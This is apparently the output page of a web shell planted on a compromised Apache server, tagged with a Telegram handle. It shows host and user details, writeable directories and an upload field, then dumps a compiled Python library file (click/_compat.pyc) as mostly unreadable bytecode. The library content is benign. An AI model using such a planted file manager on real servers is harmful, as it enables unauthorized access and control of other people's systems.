https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/click/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/click/_compat.pyc
�
./�_c	@s2ddlZddlZddlZddlZddlZddlmZejddkZej	j
d�Zej	j
d�o�dejkZ
dejko�d	ejjd
d�kZej	j
d�o�eo�e
ZdZejd
�Zd�Zeed�Zd�Zd�Zdejfd��YZdefd��YZer[eZe Z e!efZ"e#e$fZ%d�Z&e'Z(d�Z)ejd�Z*d�Z+yddl,Z,Wne-k
r�n
Xd�Z+yddl.Z.Wne-k
r�n
Xd�Z+d�Z/d�Z0d�Z1d�Z2ddd �Z4ddd!�Z5ddd"�Z6d#�Z7nddlZe!Ze8Z e!fZ"e#fZ%e9Z(d$�Z/d%�Z&d&�Z)ed'�Z:ed(�Z;d)�Z<d*�Z=d+�Z>d,�Z?d-�Z@eed.�ZAed/�ZBed0�ZCd1�Z0d2�Z1d3�Z2ddd4�Z4ddd5�Z5ddd6�Z6d7�Z7dd8�ZDd9�ZEd:dd;ed<�ZFeGed=�r�ejHZIeJZKnejLZIeZKd>efd?��YZMdZNdZOdZPd@�ZQdA�ZRdddB�ZSer�dCZdDdElTmUZUmVZVdF�ZWerGddG�Z nyddlOZOWne-k
rjq�Xe�ZXddH�ZNdI�ZPndJ�ZWdK�ZUdL�ZVdM�ZYdN�ZZdO�Z[e[dP�e4�Z\e[dQ�e5�Z]e[dR�e6�Z^ie0dS6e1dT6e2dU6Z_ie4dS6e5dT6e6dU6Z`dS(Vi����N(tWeakKeyDictionaryiitcygwintwintGCCtAPPENGINE_RUNTIMEsDevelopment/tSERVER_SOFTWAREtiPs\033\[[;?0-9]*[a-zA-Z]cCstj�ptj�S(N(tsystgetfilesystemencodingtgetdefaultencoding(((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_filesystem_encodingsc
CsR|dkrt|�}n|dkr0d}nt|||dtd|d|�S(Ntreplacetline_bufferingtforce_readabletforce_writable(tNonetget_best_encodingt_NonClosingTextIOWrappertTrue(tstreamtencodingterrorsR
R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_make_text_streams	cCs3ytj|�jdkSWntk
r.tSXdS(s$Checks if a given encoding is ascii.tasciiN(tcodecstlookuptnametLookupErrortFalse(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pytis_ascii_encoding,s
cCs2t|dd�ptj�}t|�r.dS|S(s1Returns the default stream encoding if not found.Rsutf-8N(tgetattrRRR	R(Rtrv((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR4sRcBsDeZeed�Zer0d�Zd�Znd�Zd�ZRS(cKs9t|||�|_}tjj|||||�dS(N(t_FixupStreamt_streamtiot
TextIOWrappert__init__(tselfRRRR
Rtextra((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR$=s	cCsft|t�st|�rSy|j�Wntk
r<nX|jjt|��Stjj||�S(N(	t
isinstancetstrtis_bytestflusht	ExceptiontbuffertwriteR"R#(R%tx((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR-Ns
cCs"x|D]}|j|�qWdS(N(R-(R%tlinestline((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt
writelinesWs
cCs&y|j�Wntk
r!nXdS(N(tdetachR+(R%((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt__del__[s
cCs
|jj�S(N(R!tisatty(R%((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR4as(	t__name__t
__module__RR$tPY2R-R1R3R4(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR<s				R cBsJeZdZeed�Zd�Zd�Zd�Zd�Zd�Z	RS(sQThe new io interface needs more from streams than streams
    traditionally implement.  As such, this fix-up code is necessary in
    some circumstances.

    The forcing of readable and writable flags are there because some tools
    put badly patched objects on sys (one such offender are certain version
    of jupyter notebook).
    cCs||_||_||_dS(N(R!t_force_readablet_force_writable(R%RR
R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR$ps		cCst|j|�S(N(RR!(R%R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt__getattr__uscCsQt|jdd�}|dk	r+||�StrA|jj|�S|jj|�S(Ntread1(RR!RR7treadlinetread(R%tsizetf((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR;xs
cCsb|jr
tSt|jdd�}|dk	r5|�Sy|jjd�Wntk
r]tSXtS(Ntreadablei(R8RRR!RR=R+R(R%R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR@�s	
cCs�|jr
tSt|jdd�}|dk	r5|�Sy|jjd�Wn:tk
r�y|jjd�Wq�tk
r�tSXnXtS(NtwritableR(R9RRR!RR-R+R(R%R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRA�s	

	cCs^t|jdd�}|dk	r(|�Sy|jj|jj��Wntk
rYtSXtS(Ntseekable(RR!RtseekttellR+RR(R%R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRB�s
(
R5R6t__doc__RR$R:R;R@RARB(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR fs				cCs
|j�S(N(t	iteritems(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt<lambda>�scCst|ttf�S(N(R'R,t	bytearray(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR)�ss^[a-zA-Z_][a-zA-Z0-9_]*$cCs|S(N((R?((s./tmp/pip-install-sTXtzD/click/click/_compat.pytset_binary_mode�scCs;y|j�}Wntk
r#nXtj|tj�|S(N(tfilenoR+tmsvcrttsetmodetostO_BINARY(R?RJ((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRI�s
cCs[y|j�}Wntk
r#n4Xtj|tj�}tj|tj|tj@�|S(N(RJR+tfcntltF_GETFLtF_SETFLRMt
O_NONBLOCK(R?RJtflags((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRI�s
cCstj|�dk	S(N(t_identifier_retsearchR(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pytisidentifier�scCs
ttj�S(N(RIRtstdin(((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_binary_stdin�scCstd�ttj�S(Ntstdout(t_wrap_std_streamRIRRY(((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_binary_stdout�s
cCstd�ttj�S(Ntstderr(RZRIRR\(((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_binary_stderr�s
cCs>ttj||�}|dk	r%|Sttj||dt�S(NR
(t_get_windows_console_streamRRWRRR(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_text_stdin�scCsHtd�ttj||�}|dk	r/|Sttj||dt�S(NRYR(RZR^RRYRRR(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_text_stdout�s

cCsHtd�ttj||�}|dk	r/|Sttj||dt�S(NR\R(RZR^RR\RRR(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_text_stderrs

cCs+t|t�r'|jt�d�}n|S(NR(R'tbytestdecodeR
(tvalue((s./tmp/pip-install-sTXtzD/click/click/_compat.pytfilename_to_uiscCs
|j�S(N(RV(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRGscCst|j��S(N(titertitems(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRGscCst|tttf�S(N(R'Rbt
memoryviewRH(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR)scCs3yt|jd�t�SWntk
r.|SXdS(Ni(R'R=RbR+(Rtdefault((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_is_binary_reader s
cCsSy|jd�Wn;tk
rNy|jd�tSWntk
rInX|SXtS(NR(R-R+RR(RRi((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_is_binary_writer(s


cCsHt|t�r|St|dd�}|dk	rDt|t�rD|SdS(NR,(RjRRRR(Rtbuf((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_find_binary_reader4s
cCsHt|t�r|St|dd�}|dk	rDt|t�rD|SdS(NR,(RkRRRR(RRl((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_find_binary_writerCs
cCstt|dd�pd�S(s3A stream is misconfigured if its encoding is ASCII.RRN(RRR(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_stream_is_misconfiguredRscCs4t||d�}||kp3|dko3|dk	S(s�A stream attribute is compatible if it is equal to the
        desired value or the desired value is unset and the attribute
        has a value.
        N(RR(RtattrRdtstream_value((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_is_compat_stream_attrZscCs"t|d|�o!t|d|�S(skCheck if a stream's encoding and errors attributes are
        compatible with the desired values.
        RR(Rr(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_is_compatible_text_streambsc
Cs�||t�r|}nKt|||�rG|dko?t|�rG|S||�}|dkrc|S|dkrxd}nt|||d|d|�S(NRR
R(RRsRRoR(ttext_streamRRt	is_binarytfind_binaryR
Rt
binary_reader((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_force_correct_text_streamjs 			cCst|||ttd|�S(NR
(RxRjRm(ttext_readerRRR
((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_force_correct_text_reader�scCst|||ttd|�S(NR(RxRkRn(ttext_writerRRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_force_correct_text_writer�scCs.ttj�}|dkr*td��n|S(Ns6Was not able to determine binary stream for sys.stdin.(RmRRWRtRuntimeError(treader((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRX�scCs.ttj�}|dkr*td��n|S(Ns7Was not able to determine binary stream for sys.stdout.(RnRRYRR}(twriter((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR[�s
cCs.ttj�}|dkr*td��n|S(Ns7Was not able to determine binary stream for sys.stderr.(RnRR\RR}(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR]�s
cCs>ttj||�}|dk	r%|Sttj||dt�S(NR
(R^RRWRRzR(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR_�s
cCs>ttj||�}|dk	r%|Sttj||dt�S(NR(R^RRYRR|R(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR`�s
cCs>ttj||�}|dk	r%|Sttj||dt�S(NR(R^RR\RR|R(RRR((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRa�s
cCsIt|t�r'|jt�d�}n|jdd�jdd�}|S(NRsutf-8tsurrogateescape(R'RbRcR
tencode(Rd((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRe�scCsdt|d�r|j}n!|dk	r0|}nt|�}t|t�r`|jdd�}n|S(Ntstrerrorsutf-8R(thasattrR�RR(R'RbRc(teRitmsg((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt
get_streerror�s	cCs�d|k}|ri}ni|d6|d6}ts<|rOtj|||�Stj|dj|jdd���}t||�S(s+On Python 2, :func:`io.open` returns a text file wrapper that
    requires passing ``unicode`` to ``write``. Need to open the file in
    binary mode then wrap it in a subclass that can write ``str`` and
    ``unicode``.

    Also handles not passing ``encoding`` and ``errors`` in binary mode.
    tbRRs{}bttR(R7R"topentformatRR(tfiletmodeRRtbinarytkwargsR?((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt
_wrap_io_open�s	
'trtstrictcs�d�k}|dkr�t�fd�dddgD��ri|rPt�tfStd|d|�tfS|r|t�tfStd|d|�tfS|s�t|�||�tfSd�kr�td	��nd�kr�td
��nd�krtd��nddl	}ddl
}ytj|�j
}Wntk
rLd}nXtjtjBtjB}	|r�|	ttd
d�O}	nx�trmtjjtjj|�dj|jd���}
y,tj|
|	|dkr�dn|�}PWq�tk
ri}|j	|jks�tjdkrc|j	|jkrctjj|j�rctj|jtj �rcq�n�q�Xq�W|dk	r�tj!|
|�nt|�||�}
t"|
|
tjj#|��tfS(NR�t-c3s|]}|�kVqdS(N((t.0tm(R�(s./tmp/pip-install-sTXtzD/click/click/_compat.pys	<genexpr>stwtaR.RRs�Appending to an existing file is not supported, because that would involve an expensive `copy`-operation to a temporary file. Open the file in normal `w`-mode and copy explicitly if that's what you're after.s&Use the `overwrite`-parameter instead.s,Atomic writes only make sense with `w`-mode.i����RNis.__atomic-write{:08x}ii i�tntI($tanyR[RR`RXR_R�Rt
ValueErrorterrnotrandomRMtstattst_modetOSErrorRtO_RDWRtO_CREATtO_EXCLRtpathtjointdirnameR�t	randrangeR�tEEXISTRtEACCEStisdirtfilenametaccesstW_OKtchmodt_AtomicFiletrealpath(R�R�RRtatomicR�R�R�tpermRSttmp_filenametfdR�R?((R�s./tmp/pip-install-sTXtzD/click/click/_compat.pytopen_streams\%



		'RR�cBsPeZd�Zed��Zed�Zd�Zd�Zd�Z	d�Z
RS(cCs(||_||_||_t|_dS(N(t_ft
_tmp_filenamet_real_filenameRtclosed(R%R?R�t
real_filename((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR$Ts			cCs|jS(N(R�(R%((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRZscCsk|jr
dS|jj�tsKytj|j�WqKtk
rGqKXnt|j	|j�t
|_dS(N(R�R�tcloset_can_replaceRMtremoveR�R�t_replaceR�R(R%tdelete((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR�^s	

cCst|j|�S(N(RR�(R%R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR:jscCs|S(N((R%((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt	__enter__mscCs|jd|dk	�dS(NR�(R�R(R%texc_typet	exc_valuettb((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt__exit__pscCs
t|j�S(N(treprR�(R%((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt__repr__ss(R5R6R$tpropertyRRR�R:R�R�R�(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR�Ss				cCstjd|�S(NR(t_ansi_retsub(Rd((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt
strip_ansi|scCsBtr
dSx"t|ttf�r.|j}q
W|jjjd�S(Ns
ipykernel.(tWINR'R RR!t	__class__R6t
startswith(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_is_jupyter_kernel_output�s

cCsA|dkr<|dkr$tj}nt|�o;t|�S|S(N(RRRWR4R�(Rtcolor((s./tmp/pip-install-sTXtzD/click/click/_compat.pytshould_strip_ansi�s
iOi(R^RZcCsddl}|j�S(Ni����(tlocaletgetpreferredencoding(R�((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_get_argv_encoding�scCsHtjj�|r,t�}|j|�nt�}|j�jd�S(Ns
(RR\R*t_default_text_stdoutR-t_default_text_stdinR<trstrip(tpromptRYRW((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt	raw_input�s
		cs�ytj|�}Wntk
r,d}nX|dk	r=|St||�}tj|d|���j}|j���fd�}||_y|t|<Wntk
r�nX|S(sThis function wraps a stream so that calls through colorama
            are issued to the win32 console API to recolor on demand.  It
            also ensures to reset the colors if a write call is interrupted
            to not destroy the console afterwards.
            tstripcs)y�|�SWn�j��nXdS(N(t	reset_all(ts(t_writetansi_wrapper(s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_safe_write�s

N(	t_ansi_stream_wrapperstgetR+RR�tcoloramatAnsiToWin32RR-(RR�tcachedR�RR�((R�R�s./tmp/pip-install-sTXtzD/click/click/_compat.pytauto_wrap_for_ansi�s"

			
cCs9tjjtjj�j}|j|j|j|jfS(N(	R�twin32tGetConsoleScreenBufferInfotSTDOUTtsrWindowtRighttLefttBottomtTop(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pytget_winterm_size�s	cCsttjdd�pt�S(NR(RRRWRR
(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR��scGsdS(N(R(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRG�scGsdS(N(R(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRG�scCstt|��S(N(tlenR�(R.((s./tmp/pip-install-sTXtzD/click/click/_compat.pytterm_len�scCs'y|j�SWntk
r"tSXdS(N(R4R+R(R((s./tmp/pip-install-sTXtzD/click/click/_compat.pyR4�s
cs"t�����fd�}|S(Ncs~��}y�j|�}Wntk
r5d}nX|dk	rF|S��}y��}|�|<Wntk
rynX|S(N(R�R+R(RR(tcachetsrc_functwrapper_func(s./tmp/pip-install-sTXtzD/click/click/_compat.pytfunc�s	

		
(R(R�R�R�((R�R�R�s./tmp/pip-install-sTXtzD/click/click/_compat.pyt_make_cached_stream_func�s	cCstjS(N(RRW(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRGscCstjS(N(RRY(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRGscCstjS(N(RR\(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyRGsRWRYR\(aRR"RMtreRtweakrefRtversion_infoR7tplatformR�tCYGWINtversiontMSYS2tenvironR�t
APP_ENGINER�tDEFAULT_COLUMNStcompileR�R
RRRRR#RtobjectR tunicodet	text_typeR�R(tstring_typestinttlongt	int_typesRFtxranget
range_typeR)RTRIRKtImportErrorRORVRXR[R]RR_R`RaRetinputtrangeRjRkRmRnRoRrRsRxRzR|R�R�R�R�RR�RR�trenameR�R�R�R�R�R�R�t_winconsoleR^RZR�R�R�R4R�R�R�t_default_text_stderrtbinary_streamsttext_streams(((s./tmp/pip-install-sTXtzD/click/click/_compat.pyt<module>s�! 			*C			
		
	
														#

				
	J			$			
								


https://t.me/AnonymousX5 - 2025